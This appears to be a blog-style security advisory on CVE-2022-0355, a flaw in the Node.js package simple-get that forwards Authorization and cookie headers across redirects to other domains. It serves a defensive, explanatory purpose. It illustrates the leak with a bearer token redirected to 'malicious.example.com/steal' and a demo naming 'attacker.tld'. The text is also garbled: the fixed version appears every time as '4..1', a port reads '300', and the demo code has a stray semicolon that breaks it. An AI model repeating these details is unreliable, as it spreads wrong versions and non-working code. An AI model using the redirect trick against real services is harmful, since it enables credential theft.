Software supply chain attacks and vulnerabilities have become a major concern for developers everywhere. One vulnerability that didn’t get enough attention — but could have led to serious problems — is CVE-2022-0355, which involved the popular NPM package simple-get (prior to version 4..1). In this article, we’ll explain what happened, how the bug worked (with code snippets), and why this matters for application security.

What Is simple-get?

simple-get is a lightweight HTTP request library for Node.js. It’s commonly used by other popular NPM packages, so a vulnerability here can impact thousands of projects downstream.

CVE-2022-0355 Overview

CVE-2022-0355 describes an exposure of sensitive information to an unauthorized actor. Specifically, in all versions of simple-get before 4..1, HTTP request headers—including potentially sensitive data like authorization tokens or cookies—could be unintentionally exposed to the wrong hosts due to improper header reuse when following HTTP redirects.

In simple terms:  
If your app makes a request using sensitive headers (like Authorization) and the destination responds with a redirect to a different domain, those same headers would be sent to the new redirected domain. This could leak secrets to bad actors.

Here’s what went wrong

- When simple-get follows an HTTP redirect (302, etc.), it carries over all request headers—including sensitive ones like Authorization, cookies, and custom headers.
- This is fine when you trust the destination. But, if the destination is untrusted or controlled by an attacker, your secrets are exposed!

Imagine your app makes an authenticated request like this

GET https://api.mybank.com/secret-data
Authorization: Bearer topsecret123

But what if api.mybank.com replies with

302 Found
Location: http://malicious.example.com/steal

simple-get (before v4..1) would repeat your authorization header to that untrusted URL

GET http://malicious.example.com/steal
Authorization: Bearer topsecret123

Here’s a simple pseudo-example based on the pre-4..1 code logic

const simpleGet = require('simple-get');
simpleGet({
  url: 'https://api.mybank.com/secret-data',
  headers: {
    'Authorization': 'Bearer topsecret123'
  },
  followRedirects: true
}, (err, res) => {
  // handle response
});

Under the hood, if the server at api.mybank.com responds with a redirect, the whole headers object (including Authorization) is sent to the new location. This ignores the best practice that sensitive headers should NOT be forwarded across domains.

You can also see CVE-relevant code discussion here (on GitHub).

The Fix

The maintainers fixed this in version 4..1 by not forwarding sensitive headers (like Authorization or Cookie) to a different domain during redirects. You should always:

Upgrade your simple-get dependency to at least 4..1.

2. Audit any apps or libraries that rely on simple-get to ensure you’re not leaking credentials.

Upgrade command:  

npm install simple-get@latest

Here’s a quick demo that illustrates the bug

const simpleGet = require('simple-get')

// This is a fake endpoint that returns a redirect
simpleGet({
  url: 'http://localhost:300/redirect';,
  headers: {
    'Authorization': 'Bearer supersecret'
  },
  followRedirects: true
}, (err, res) => {
  if (err) throw err
  res.on('data', d => process.stdout.write(d))
})

// If http://localhost:300/redirect points to http://attacker.tld,
// then "Bearer supersecret" is sent to the attacker!

Check dependencies and transitive dependencies: Many libraries use simple-get internally.

- Never assume headers are safe to forward: Unless you absolutely trust the remote endpoint and all redirects.

References

- CVE-2022-0355 in NVD Database
- simple-get Issue #93 (GitHub)
- simple-get Changelog

Conclusion

The simple mistake of forwarding all headers across redirects can put secrets at risk even in a well-intentioned codebase. Always use the latest, patched versions of dependencies and review their behavior—especially around redirects and sensitive data handling. Stay safe out there!

Timeline

Published on: 01/26/2022 04:15:00 UTC
Last modified on: 02/01/2022 19:40:00 UTC